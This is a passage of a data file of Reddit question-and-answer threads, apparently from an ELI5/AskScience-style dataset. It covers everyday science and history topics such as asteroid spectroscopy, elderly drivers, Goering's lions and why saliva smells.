for any non-zero complex z. Of course we don't do that. Instead, what is happening is that the exponential function is invertible on any space of the form Rx[y,y+2pi[ (where R is the reals and y is any real number) but the inverse function depends on the number y. This is very similar to how you define the inverse for trigonometric functions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Complex_logarithm"]]}
{"q_id": "46iojp", "title": "why do we still allow older people to drive, and not retake a driving test?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/46iojp/eli5why_do_we_still_allow_older_people_to_drive/", "answers": {"a_id": ["d05gbfy", "d05i4ry", "d05ju1j", "d05l6t8", "d05lpbz", "d05lvqh", "d05mm76", "d05mo19", "d05mwzp", "d05nee8", "d05r404", "d05wg8r", "d0612co", "d064zo6", "d069nec"], "score": [12, 11, 100, 103, 8, 5, 3, 2, 34, 2, 2, 5, 2, 3, 3], "text": ["In at least some states, there is an age cut-off after which some, generally minimal, retesting is required.   \n_URL_0_", "I think everyone should have to take a road test every time they renew their license. After age 60 the renewal should be every 2 years.", "Because we have spent 80 years subsidizing automobile use and making all other modes of transport difficult or impossible.   Once we did this, it became politically difficult to restrict any driver's activities, no matter how dangerous, unless that class of driver could be classed as some sort of \"other\".  So we (finally) happily restrict drunk drivers but sober drivers who kill get a pass, again and again.  Any attempt to right this runs into deep feelings of entitlement, created by decades of being told that driving is part of being alive, part of being an adult, part of being a respected part of society.  It's difficult to change that.  The place to start is the way we build towns and cities.  In a city built before 1940 and not overly burdened by freeways, an elderly person w/no drivers license may not want to lose their license, but once they get over it, they will still have lots of options to get stuff done.  The grocery store won't be 3 miles away, it will be 3 blocks away etc.  However if grannie lives in an exurb and 100% of daily errands requires multi-mile trips on a freeway, she is completely hosed if she can't drive and that creates a lot of sympathy for granny, no matter how much carnage she may create.\n", "Because they are a powerful voting bloc, and no politician is going to lose their support by suggesting laws that make old people's lives harder. ", "Not really an answer but, as someone who lives in Florida (gods waiting room) and someone with two 90+ year old great grandparents who think they should drive (one of which shouldn't ever drive in the first place and I don't understand how they ever got a license). This really needs to happen here.\n\nEdit: a letter", "Most districts have mandatory testing after age 80 in Canada. Some start earlier. The reason generally is that we assume a person has mental capacity (and physical ability) to drive until it is proven that they do not. To do otherwise would be ageism. ", "Not to be flippant....  (showing my age there), but I often thought it was because we didn't want to have to drive them around.\n\nEdit - we probably should have some sort of testing to weed out the unsafe people on the road.", "Because it'd be politically unpopular among the older crowd, who also tend to be the only people who actually vote. ", "I'm from Sweden, but I strongly suspect the same reason exist elsewhere.\n\nIt goes like this: Every now and then, someone suggests testing for older people. This makes the organizations for older people go apeshit crazy. The politicians, knowing that older people is a large voter group, instantly kills the suggestion.\n\nThis is what happens, every time.\n\nThere are other methods. For example, Germany has (or had, I don't know if it's still in effect) a system where, if old people volontarily turn in their driving license, they get free (or almost free) travel using public transportation. I think that was actually pretty effective.", "I'm seeing a lot of politically charged comments on here. I just want to point out a few things:\n\nA C grade on a driving test is passable. This is because the cost of being unable to drive is pretty heavy.\n\nAge affects different people differently. I might be fine to drive at 99 while Jerry should be stopped at 74...\n\n\nBecause of how they drive, elderly people are much more likely to run into minor traffic issues than major ones. Fender benders, etc.\n\nWhen those minor incidents occur, the police are usually involved, and when that happens they generally do require the old folks to retake the test. It's just done based on skill level rather than age.", "Old people may be slow and may be annoying in the traffic, but statistically they don't cause more serious accidents than any other age group, probably less actually. There is no reason older people can't drive in general, they may have lower reaction time, but their experience and slower speed more than make up for that. \n\nStatistically the worst drivers are young guys from legal driving age up to 35 or so, **we** may be the fastest and most accurate drivers in general, but because we push the boundaries the most we also end up doing the most mistakes and also the most fatal.\n\nOld people are more likely to have some disease or bad eye sight, in those cases their doctor should step in and decide it's not suitable for them to drive any more, but that applies just as much to a younger person having the same problem. This happens far too rarely though - my sister got pushed off the road by a guy that had a Parkinson attack while meeting her, he was back on the road the next day...", "Depends where you are.  In Ontario drivers over 80 need to be retested every two years,  vision test,  written test and a  few other things.  \n\n_URL_0_\n\nDoctors can,  and do have a legal obligation to take away your license if you are going to be unsafe on the road.  \n\nEvery area is different,  but essentially once you lose your car most retirees are stuck in retirement or nursing homes and lose their independence.   To be able to cab everywhere requires a lot of money.  So we don't like doing it to people.   \n\nThere is probably a good argument for mandatory testing at 50, 60,  65, 70, 75 then 80, but that costs money and if the vast majority would pass,  or just not show up  and keep driving anyway you aren't much further ahead.  ", "Why do we allow poorly trained young people to drive?", "Lawmakers both rely on support of old people who have nothing better to do than give a shot about politics, and realize they themselves will be old one day and don't want to be restricted.", "You asked a grown-ass question for a five-year-old.\n\nPeople mistake their feelings for their rights. \"I finally achieved this. I earned this. I deserve this. I should have this. I should have this, and it is wrong of you to question me about it.\" That last one is the answer to asking grandpa to test his driving. He's been driving for fifty years, and asking him to prove it again is \"singling him out\" and \"wrong\" and \"discrimination\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.claimsjournal.com/news/national/2012/09/19/213818.htm"], [], [], [], [], [], [], [], [], [], [], ["http://www.mto.gov.on.ca/english/driver/senior-driver-licence-renewal-program.shtml"], [], [], []]}
{"q_id": "crpi0b", "title": "why do they spray water everywhere at a demolition site?", "selftext": "I\u2019m currently walking home, and happened to walk by a demolition site with water being sprayed everywhere.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/crpi0b/eli5_why_do_they_spray_water_everywhere_at_a/", "answers": {"a_id": ["ex7td13", "ex7teq0", "ex7uhks"], "score": [13, 8, 6], "text": ["Keep the dust down. We use a water truck in our yard at a concrete facility. So I\u2019m assuming same principle.", "The dust that comes from smashing buildings is really not good to breathe. To minimize the dust, the spray the area down. The water sticks to the dust and causes it to clump up, and therefore be unable to float around in the air. It's not 100% effective, but it is a decent reduction in dust.", "On that note, dust in large quantities is super dangerous\n\nYou wouldn't think it, but depending on the small particles in the air, dust can cause breathing problems in people (and in rare instances cancer) all the way to being a fire hazard (ie grain silo fires or saw dust cannons)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3dtanv", "title": "This \"Platinum\" Asteroid that's apparently bound to come by - how do we know what its made of?", "selftext": "I guess this applies to a lot of exoplanets as well. As a chemist, the extent of my experience with the identification of unknown substances usually involve infrared spectroscopy, which I feel might be extraordinarily difficult to do over long distances, and typically only work with organic compounds anyway, to the best of my knowledge.\nOf exoplanets out there, with all the crazy ones including the one made entirely out of diamond, or this asteroid that contains tons of platinum - how do they figure out what the composition is?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3dtanv/this_platinum_asteroid_thats_apparently_bound_to/", "answers": {"a_id": ["ct8hyvd", "ct8i4zq", "ct8j37z", "ct8j8rr", "ct8mhv4"], "score": [13, 3, 4, 210, 2], "text": ["Every element absorbs different types of light. This can be used to determine the composition by comparing which types of light get absorbed, and which get reflected. Scientists use this to determine the composition of objects from further away than they can measure by hand. \n\nYou can actually use a prism to make similar observations by yourself, as this was the original way it was done, and how it was discovered in the first place. Scientists noticed that certain parts of the \"rainbow\" produced by a prism were missing, leaving darkness in its place. This turned out to be the absorption of certain light frequencies by the matter in question. It turns out that every element or composition has its own different frequencies of light it absorbs, and so the missing sections of light can be used to determine what the composition is. \n\nWith a prism it would look something like [THIS](_URL_1_)\n\nThe very opposite can be measured as well, the emission lines. Its basically everything is missing BUT the areas that are usually black. So it just makes these few lines of color, and [everything else is gone](_URL_2_). \n\nBut of course we use computers to do it, because its more accurate and they can also \"see\" more frequencies that we can with our own eyes. [THIS](_URL_0_) is what different elements look like compared to each other, they each have their own special \"lines\" that show what they are made of. \n\n\n", "Do you know what a spectrometer is? Basically, it's a device that measures the incoming radiation from a specific source (comet, planet, star, etc.). \n\nBased on the band variances in the wavelengths depicted in the resulting graph; scientists can match them to the different elements and sometimes compounds that we know of in existence today.\n\nIt's like genetic coding for celestial bodies.\n\nWhat's really cool is that these spectrometers are getting smaller and smaller. There are now spectrometers that can fit in the palm of your hand. They can link up to your smart phone and you can get readings on everyday things like watermelons at the store (to see which one has the most fructose); or that dank ass herb to see which one has the most THC haha.\n", "For the most part we use the albedo - the reflectivity of the object, and compare that against the albedo of meteorites collected on earth. From there we can give a rough estimate of the objects contents based on the content of the found meteorites. From there we need the mass - you can read up here: _URL_0_ \n\nThis would be an M-class or metallic class rock, which are high in irons and such, but also bear Pt group metals. ", "For things like atmospheres where you're observing vapors and gases, infrared spectroscopy works quite well and need not be an organic compound - just so long as the medium is optically thin and there's a dipole moment, you're good (e.g. H2 is notoriously difficult to observe, at least until it's dense enough for collisions to induce a dipole moment).\n\nFor really dense things like surfaces that would generally emit as a black body, reflectance spectroscopy is generally a better bet. In other words, you observe the sunlight reflecting off an asteroid, subtract a solar spectrum, and you're left with an absorption spectrum that's pretty indicative of the general [type of asteroid](_URL_1_).\n\nWith all that said, the \"platinum\" asteroid headlines you've been reading are a bunch of hype. We know it's part of the X-group of asteroids, and most probably an [M-type](_URL_0_). This group is believed to consist of asteroids rich in metals, presumably originating as a differentiated metallic core of a proto-planet before breaking apart.\n\nExactly which kinds of metals, though, isn't known. Our spectra just aren't good enough to make that kind of determination. It's quite possible it's just iron-nickel...so why is the platinum thing getting so much press? \n\nWell, the group claiming it's made of platinum isn't a group of NASA scientists, but rather \"Planetary Resources\", a start-up asteroid mining company burning through seed/grant money. It's no coincidence that on Thursday they just launched their first test platform for their future prospecting telescopes into low-Earth orbit. Little wonder they'd choose now to build up hype about lucrative precious metals whizzing past us.\n\n**TL;DR**: It's probably a metallic asteroid. The \"platinum\" bit is pure speculation, the result of a nascent asteroid mining start-up company trying to build hype around itself.", "We typically know that these types of objects are similar to our own planet in overall composition and more importantly to other objects that have bombarded the planet over time, so we have an idea of what to expect.  Our planet has lots of precious metals that in the early stages of the planet have mostly been moved towards the center of the planet because they are heavier than other materials and there is just less of it to mine near the surface.   But these objects, or at the very least some of them, are thought to have their precious metals more evenly available or easily mineable (word ?)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://i.imgur.com/Ftpp0Ul.jpg", "https://upload.wikimedia.org/wikipedia/commons/b/b8/Spectral_lines_absorption.png", "https://upload.wikimedia.org/wikipedia/commons/a/af/Spectral_lines_emission.png"], [], ["https://en.m.wikipedia.org/wiki/Standard_asteroid_physical_characteristics"], ["https://en.wikipedia.org/wiki/M-type_asteroid", "https://en.wikipedia.org/wiki/Asteroid_spectral_types#Tholen_classification"], []]}
{"q_id": "cluwi6", "title": "how does water after meal effect digestion?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cluwi6/eli5_how_does_water_after_meal_effect_digestion/", "answers": {"a_id": ["evy8a7z", "evyaslk", "evydwju", "evyjbqo", "evyk6ie", "evykng4"], "score": [574, 74, 13, 4, 8, 4], "text": ["Drinking water before a meal can make you feel full and consume less food. \n\nDrinking water during or after a meal slightly aids digestion. \n\nWater is good for avoiding constipation. \n\nIn some cultures however there is a myth that water interferes with digestion.", "Drinking a large enough amount of water, to fill the ventricle (stomach) can trigger peristalsis (sequenced contractions of the bowel) and therefor make you poop. \n\nDrinking lots of water immediately before or during a meal, will dilute the concentration of stomach acid and an enzyme called amylase. Stomach acid is the first step in the breakdown of fat and amylase is an enzyme that helps digest carbohydrates. \nTheoretically, drinking lots of water before/during a meal can slow down the initial digestion, but for any healthy person, this will make no real life difference.", "I suspect you mean 'affect'?", "I was told that drinking warm water (e.g. tea) after a meal is better than drinking cold water as it stops consumed fats from solidifying.", "I\u2019ve had stomach problems I\u2019ve dealt with for the past year and water was the major saving grace. Having dry, chunky, undigested food in your stomach does takes longer to break down in your stomach. It also takes longer to break down because the stomach acid has less fluidity to mix with the food and break it down. The higher concentration of acid can also cause stomach irritation for some people. \n\nDrinking water with food can help break down the food in your stomach (imagine food that\u2019s been sitting in a jar of water for an hour. It breaks downs and softens). It also mixes with your stomach acid, helping it soak into the food better and relieving acid indigestion for some people. \n\nWater is very heavy though and drinking too much can fill your stomach and make you feel bloated.", "I drink anywhere up to 3L a day and I still never feel refreshed. Water after or before a meal may aid in fullness because it causes whatever you're eating to expand in the stomach (ex. bread, rice, etc.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "16w6ie", "title": "what is it like to be drunk?", "selftext": "I'm east Indian and I'm not allowed to consume alcohol because of my religion. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/16w6ie/eli5_what_is_it_like_to_be_drunk/", "answers": {"a_id": ["c7zws64", "c7zxycg", "c7zyrq6", "c800apb"], "score": [7, 22, 3, 185], "text": ["You feel slightly more gregarious, maybe a little giddy, stupid shit seems more interesting.", "Everything seems a little slower, you seem a little off balance, and life is more entertaining.  \n\nSource:  I'm pretty drunk right now.", "Everything seems hilarious and sometimes it's hard to understand quite what's going on. You don't do things, things happen to you, you go into a bar and you have a drink in your hand and don't even know how it got there. You'll do a lot of things you wouldn't normally do, probably feel a lot more talkative.", "How drunk do you want to imagine being?\n\nAfter one drink (assuming you're on pints of beer, here) there's not a really noticeable difference. if you were doing some kind of reaction test you might find yourself scoring slightly lower, but of yourself you won't feel any different. But because these things start to work before you realise them, you will be a little more relaxed (alcohol is a relaxant, generally speaking). You know when you're having a good laugh with some friends? That feeling comes a little easier.\n\nMoving through your second pint you'll feel more relaxed still, you'll be more outgoing in conversation, maybe gesticulate a little more. The alcohol isn't overpowering you, but you're much less uptight than usual. At this point it's also worth noting that you're less inhibited in all your emotions - if you're out having a laugh, you'll be laughing more, and generally feel more excited. If you're in a terrible mood, you'll likely be as miserable as you were before, if not moreso, because alcohol isn't an automatic pass to happiness.\n\nAlso, in most places with drink/drive laws you can now no longer drive. Even if you feel like you can.\n\nIf you went to bed now you'd wake up in the morning feeling a little dehydrated, which is weird because you drank two pints of fluid. But alcohol has that effect. Apart from that you'd not notice any ill effects.\n\nBut we're not letting you go to bed so early into your first ever drinking session. Depending on your height, weight, and general tolerance for alcohol, the next one to five drinks will get you properly drunk. The effects mentioned above will continue on their various trends. You'll be much less inhibited- if you don't dance sober because you think you'll look like a fool, you'll discover that proviso disappear and you will have a dance. Almost certainly looking like a fool. But you won't mind. You'll also find your manners go south- you may find scratching your balls in public to be acceptable now, and saying the first thing that pops into your head becomes your primary topic of conversation. Also, you'll be saying those first thoughts much louder than normal because your inhibitions are fairly well gone now. But you won't notice any of this yourself - assuming you're not in a misery (as we mentioned earlier) then you'll just think you're slightly wittier, slightly cleverer, and generally a more interesting human being than you were a few hours ago. It feels pretty good. You may honk a nearby breast and think it to be both charming, hilarious, sexy and appropriate.\n\nObviously you're not more witty, clever or interesting than you were sober, you're just less inhibited, but you're quite likely to be surrounded by people at a similar stage of inebriation, thinking the same way you are, so as far as you're all concerned it's like a party where nearly everyone is Oscar Wilde.\n\nIf you have a designated driver they will be looking quite bored with you and your drinking buddies by this point.\n\nAnother noticeable effect is the loss of your balance. You know that feeling when you're on a boat and it rocks from side to side, and you feel it in your head? That's happening all the time. It's not too bad unless you really think about it, which can make you quite dizzy.\n\nBedtime? If you go to bed now you'll probably wake up in the morning feeling dehydrated and a bit rough (talking loudly will have given you a bit of a sore throat, and the dehydration might have given you a slight headache). But no, we're making your first night drinking one to remember. More booze!\n\nAgain what happens next is entirely down to your tolerance. If you're twenty stone guy then you'll take longer to reach this stage than a five foot tall girl built like a rake (girls generally have a slightly lower tolerance for alcohol but this isn't guaranteed and some girls can drink a guy under the table). You may have already reached this stage with the above seven drinks, or you may take even more to get there. Anyway, all social conventions will go out the window with the following drinks. That dizzy feeling I mentioned before will get worse, and you might be sick. Your foolish dancing may now have dissolved into an impression of a terrifying octopus trying to hail several taxis at once. \n\nYou'll begin slurring your words. You may find yourself afflicted with a terrible case of The Horn and try and find something to take to bed with you. If you're a prick who can't handle your drink, you may start a fight. You might not even mean to, you might just say horrible things when you're drunk. You will probably want to find some food. There's a thriving industry of people who sell low quality comfort food to drunk people pretty much wherever there is drinking to be done. Kebabs, burgers and pizzas all look pretty good about now. When you've had your low quality takeaway food then it's probably time to call it a night. You may throw up again. Depending on how good the food was this may be the safer option.\n\nIn the morning your head will hurt. You may be sick again. You may have gaps in your memory of the night before. Like, how did you get home? You were drinking, and then you were in bed. It's booze magic. You will not want to do anything much for the rest of the day. Fried food may make you feel better. Drinking lots of water will help. There are other cures for this hangover you're currently suffering from, many are made up as jokes and others are more old wives' tales. You'll want an early night because you were almost certainly drinking to the wee small hours and didn't get much sleep.\n\nSo why do we do it? Because when you've started dancing like a fool, gesticulating wildly in conversations and TALKING VERY LOUDLY, you'll likely have started getting endorphins like you've been working out. Being drunk is hard work (though it won't make you thinner). It feels good. Inhibitions are very good most of the time, but lowering with booze them in a safe, comfortable environment is exciting. Ask your mum.\n\nEdit: hey, reddit gold. That's pretty cool."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "ei2ngy", "title": "What happened to Hermann Goering's pet lion.", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ei2ngy/what_happened_to_hermann_goerings_pet_lion/", "answers": {"a_id": ["fcq8gfn"], "score": [13], "text": ["Goering had not one lion, but a total of seven, over the years, which were kept alongside other animals in a private menagerie at his estate at Carinhall.\n\nThe lions were supplied to him by Berlin Zoo when they were newly-weaned kittens, and Goering raised each only until it was too big to be safely handled. At that point, the animal would be returned to the zoo.\n\nThis was not a safe environment for them after 1943, when allied bombing of Berlin first began to impact seriously on the capital; about 750 animals were evacuated to to other zoos elsewhere in the country at this point, including those at Vienna and M\u00fclhausen in Alsace. Those that remained did not fare well; about a third of the animal population was killed in a major air raid on 22 November in that year, and others had their enclosures destroyed, leading to rumours in the city of escapees prowling the streets of the capital. Seven big cats were among the casualties of this raid. Large numbers of the dead animals were eaten by hungry Berliners, and one witness recalled that \"we had meat coming out of our ears\" after this raid:\n\n > Many of the edible animals which had fallen victim to the air raid ended up in the pot. Particularly tasty were the crocodiles\u2019 tails cooked tender in big containers; they tasted like fat chicken. The dead deer buffalo and antelopes provided hundreds of meals for man and beast alike. Later on bear ham and bear sausage were a particular delicacy.\n\nEight further air raids hit the zoo between January 1944 and February 1945, reducing much of the premises to rubble \u2013 though the place stayed open, as an aid to morale, throughout the conflict, closing only on 22 April 1945, with the Red Army at its gates.\n\nVery few of the remaining animals survived the Soviet assault, and only one of the evacuated animals, a giraffe, returned to Berlin after the war, so it is probably safe to assume that Goering's lions were either killed during the conflict, or died of old age or accident after being evacuated during it.\n\n**Sources**\n\nRoger Moorehouse, *Berlin at War: Life and Death in Hitler\u2019s Capital 1939-45* (2010)\n\nKevin Praeger, *War Zone Zoo: The Berlin Zoo and World War II* (2018)\n\nJan Young, *Goering: An Assessment* (2019)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "qr35k", "title": "In the brain, does the physical distance between synapses affect how well they can communicate with each other?", "selftext": "For example, take two synapses that are very close in proximity. Would these two be able to contact each other much more easily than two synapses at opposite ends of the brain, or does it not make a difference? Are there other factors at play?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qr35k/in_the_brain_does_the_physical_distance_between/", "answers": {"a_id": ["c3zrq3m"], "score": [7], "text": ["A synapse, by definition means a region where the two neurons come into close proximity.  I think you may be using \"synapse\" to mean neuron. A synapse is the space between neurons, not a physical thing.  \n\nIf the two neurons synapse with each other, the distance can be important due to the diffusion of the neurotransmitter.  Diffusion is a pretty inefficient means of transport since it is due to Brownian motion (basically random movement of the molecule through a space). So the larger the synaptic cleft, the longer it takes for the neurotransmitter to reach the next neuron, and the slower the signal is at being sent.  The size of the neurotransmitter also affect how fast it diffuses across the synaptic cleft (larger neurotransmitters move slower than smaller ones).\n\nFor two neurons whose cell bodies are located on opposite sides of the brain to communicate, one of the cells would have to run an axon through the brain and synapse with the other cell (the terminal end of the axon comes into about 20 nanometers to the cell body or dendrites of the other cell).  Dendrites are branched regions of the cell that receive chemical signals from neurons. The farther away the neurons are, the longer the axon, which is the length of the cell that a neural impulse travels, the slower the signal is at being sent.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2vzdv3", "title": "what has happened with turbo tax? why shouldn't i use as i always have?", "selftext": "I keep seeing bad things about Turbo Tax but it's mostly about missing forms. My return is very simple. I claim interest on my mortgage and that's about it. I'm I affected?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2vzdv3/eli5_what_has_happened_with_turbo_tax_why/", "answers": {"a_id": ["com8moi", "comaeza"], "score": [14, 8], "text": ["They have yielded to public pressure and now feature all the forms they had previously made you pay extra to obtain.  [Here's the story on mouseprint, a reputable web page](_URL_0_)", "Lately I've been hearing that when Anthem HMO got hacked a while back, the hackers had gotten hold of some SSNs and were filling out fake tax returns on TurboTax in order to get people's refunds. Because of this, they had stopped taking state tax forms thru TurboTax, but now it sounds like there's just liable to be delays in your refund while they double-check all your info to make you are who you're supposed to be."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.mouseprint.org/2015/01/30/intuitturbotax-caves-to-consumer-pressure/"], []]}
{"q_id": "17tz2y", "title": "How feasible would it be to modify fruit, say, apples, to produce Splenda or some similar sweetener instead of fructose?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/17tz2y/how_feasible_would_it_be_to_modify_fruit_say/", "answers": {"a_id": ["c88t219", "c88wm7z", "c88xjwa"], "score": [5, 5, 2], "text": ["Probably not all that feasible as it's not been found to be produced in natural systems. Generally when we modify organisms we're modifying them with characteristics from another organism.", "It wouldn't be very feasible because, after all, the plant's main goal is to survive by producing sugars that it can burn for energy. If you replace its fructose with no-calorie sweetener, it has no source of energy anymore.", "You'd have apples that would have a lot of chlorine compounds in them - [sucralose](_URL_0_), after all, is a chrorinated disaccharide.  It's not unprecedented in nature: there's plenty of sea life that incorporates bromine and chlorine into their sugar structures in place of hydroxyl groups.  \n\nThe problem you'd face, though, is the apples would be stupidly sweet (nevermind that the apples would like to have sugar to use for making more apples), since sucralose is 600X sweeter than table sugar, which it mimics structurally.  You'd probably not be able to choke one down."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Sucralose"]]}
{"q_id": "5yqonj", "title": "what was the point if a chalk outline at a murder scene and are they still common practice?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5yqonj/eli5_what_was_the_point_if_a_chalk_outline_at_a/", "answers": {"a_id": ["des6u5q", "des6ws4", "desfzdy"], "score": [21, 11, 3], "text": ["The chalk outlines were originally for press photographers so they could photograph the crime scene without showing the dead bodies.\n\nThey're never used in modern investigations because they contaminate the crime scene.", "I don't think a chalk outline was ever commonly used in reality. I think it became a thing to avoid having to show a dead body on TV. Because as far as I know, they take pictures/find out what they need from the body and have it taken to the morgue. Before cameras, forensic science wasn't really a thing and they got little more from the position of the body than \"Yep, he's dead.\"", "Tv and movies do it for murder scenes. In real life they only do it if the victim is still alive. The person needs to be taken to the hospital but the Police need to know where and how they were laying for the investigation. If the person is dead then they'll just work around them until they're done. No point in rushing to move a dead body, if you have someone bleeding to death....different story. \n\nI don't know if they have ever used chalk but tape is the most common. \n\nTv Shows and Movies do it that way because they don't want to show a dead body. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2mz9oy", "title": "why is it that if you lick or spit on something, your saliva smells pretty bad, but it doesn't necessarily taste bad to kiss someone?", "selftext": "And another person's mouth doesn't have to smell bad up close either.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2mz9oy/eli5_why_is_it_that_if_you_lick_or_spit_on/", "answers": {"a_id": ["cm8wshj", "cm8wsn4", "cm8x2o2", "cm8y1f3", "cm8y2mq", "cm8y5kp", "cm8y7lg", "cm8yaao", "cm8yddt", "cm8ykw8", "cm8yzyf", "cm8ze7f", "cm8zhzg", "cm8zu8x", "cm90f0n", "cm90klt", "cm90tf5", "cm91jcp", "cm91qrg", "cm91zup", "cm92app", "cm92o5n", "cm931hp", "cm93b5e", "cm96xd6", "cm97mtv", "cm99460", "cm99cnh", "cm9b89y", "cm9bbts", "cm9bmon", "cm9c7ar", "cm9cdmn", "cm9d8b6", "cm9ep89", "cm9feow", "cm9ha4z", "cm9navb", "cm9oaso", "cm9ohjm"], "score": [1061, 4, 24, 7, 800, 3, 2, 72, 13, 56, 17, 3, 2, 9, 3, 9, 3, 2, 4, 2, 5, 2252, 4, 9, 9, 17, 9, 4, 2, 3, 2, 5, 2, 2, 2, 2, 3, 5, 2, 2], "text": ["I think its because of what your spit lifts off the surface you are licking or tasting. Some bring up the influence of smell as well.\n\nSaliva is the first part of the digestive process. Anything with a taste is at least somewhat saliva soluble, and saliva is a better solvent for a lot of organics than water is. \n\nSo if your spit on your hand and then lick it off, your spit dissolved and otherwise picked up a loooot of dead skin, oils, aromatic organics, bacteria, viruses.... That is going to taste like something your brain will interpret to not be tasty.\n\nNow, when you kiss someone who has a relatively clean mouth, you are just tasting someone's mouth. This mouth, hopefully has drank some water or maybe been brushed. It won't have a bunch of dead skin and oils floating around that have a stale taste. Try kissing someone when they just woke up. Yuck. Then try licking your hand when it was just been cleaned, or if you are more adventurous, your kitchen counter after cleaning it.\n\nAlso consider what you are smelling in each circumstance. Smell is a large component of taste. Better to be tasting the pheromones of a lover than the dirt of whatever surface your are licking.\n\nTL,DR: Don't lick counters, kids.", "I think it might have something to do with the buildup of scum that you're spitting out in the first place, or fine particles of gross coming off of your tongue in a lick, compared to freshly flowing saliva produced in a kiss. \nAffection probably plays a big part too; if you've ever been kissed by someone you're unsure of you'll notice plenty of weird mouth flavours, but I can kiss my SO with morning breath and not notice it enough to care. \n", "Usually it's the middle/back part of your tongue that has all the bad smelling bacteria. When you lick your hand and smell, you're directly smelling that bacteria. This usually is worse than what your breath would actually smell like to another person, unless they're getting all up in there and smelling the back of your throat. I imagine it's the same with kissing, your tongues might be touching, but usually it's only the tips and not the back where most of the bacteria is. Of course sometimes your breath is just gross regardless, ever go in for a morning kiss?", "Your saliva contains thousands of smelly bacteria but you don't smell or taste them because saliva doesn't evaporate in your mouth.  Example, lick the back of your hand and when it dries, smell.", "You're confusing taste and smell. \n\nDentists say that the best way to know if your breath smells bad is to lick the back of your hand and then smell it. The smell of the inside of our mouth is a result of the numerous bacteria and dead food particles on our tongue and between our teeth. The worse the hygiene, the worse the breath. Even if you brush your teeth, if you're not flossing you're missing out on a very important source of the breath, and the foul smelling saliva. \n\nIf your spit smells bad, I bet your breath smells bad. If that is the case, then who ever kisses you may catch a whiff. \n\nAlso, smells travel better and are easier to appreciate in humid or wet environments. Have you ever farted in the shower? That explanation though is for another question ...", "Also when you kiss you don't always breathe and the best way to not taste is to not breathe (oral sex tip there if anybody needs it... though tbh if they taste/smell that offensive it's probably not unreasonable to ask them to shower/see a doctor)", "Wait, saliva has a distinctive smell? It just smells vaguely... watery to me.", "One of my favorite quotes.\n\"It's the smell, if there is such a thing. I feel saturated by it. I can taste your stink and every time I do, I fear that I've somehow been infected by it.\"", "I know this is supposed to be a thing but I have never smelled anything when I've done the lick-n-sniff.\n\nis it just me?", "lpt: going to kiss someone who has been eating something strongly flavored and you don't want that to get in the way of your enjoyment? Eat the same thing. You won't notice it. Garlic sticks for everyone!", "Why are you spitting on stuff and smelling it?", "I don't think it smells bad but I think humans are generally repulsed by anything that leaves their body. Maybe there is something to that notion.", "You obviously haven't kissed an italian. All that prosciutto and garlic is rough!\n", "Have you ever flossed and then smelled the string? Smells pretty bad no? It's almost reminiscent of poo. Well that's because your mouth is the first step in breaking down food. Along with your teeth and saliva, which contains some weak acids that help break down food, your mouth also contains good bacteria who are snacking on your hamburger as you chew. This bacteria burp and fart in your mouth creating some smells. They also die leaving build up. Your mouth is essentially a pre-poo factory with bacteria that work themselves to death.\r\r Sometimes bits of food and bacteria hang around for too long making your breath noticeably bad. Like the breath of that mean kid who pushed you off the swing. His mouth is full of pre poo because he doesn't floss.\r\rThis is why I want you to always floss, ok sweety. To get rid of the pre-poo.\r\rYou can't smell this pre-poo factory until some of the product gets out, either as spit or on floss because you don't have a nose on your mouth. Smell contributes a lot to taste so without a nose in your mouth you don't taste the pre-poo unless a piece of old bacteria covered food from two days ago makes it way out of your teeth. \r\rSo again, mommy wants you to floss to get rid of the pre poo.", "Because you don't brush your teeth  &  floss right and they do.", "Maybe your one of the people it tastes bad to kiss. ", "Slightly relevant LPT: bad breath usually originates from the stomach's digestion of your previous meal, or lack there of. Drinking mint or peppermint tea after a meal makes your breath smell much better, especially if you suspect some possible face sexy time. \n(Also helps get reduce alcohol breath smell after a night of drinking)", "Are you saying you spit on things, then proceed to sniff them?  Maybe it is your saliva does smell bad and it does to others that kiss you as well.  You don't think others smell/taste bad because they don't.", "That's because you don't have proper oral hygeine", "try flossing after eating meat. That shit reeks of shit.", "Easy answer: your breath smells worse than whoever you are kissing.", "Dental student here. You don't smell the odor compounds when they are dissolved in the saliva. It is only when the saliva dries up, like when you lick the back of your hand, that you can smell them. That's why you tend to smell bad breathe when someone talks; the moving air dries up the mouth and carries the compounds toward you.", "More importantly...\n\n**why are our mouths the filthiest things in existence, more so than filthy animals who eat shit, even though we brush them twice per day?**", "Not an answer, but perhaps a tangential question:\n\nI might be alone on this, but at the age of 44, I can look back at my life and say that I have definitely never spent a single second sniffing my own saliva, or contemplating its smell.\n\nDo ya'll actually do that- spit on something, and then intentionally sniff it?\n\nThis is an aspect of human behavior that it completely new to me.  Please 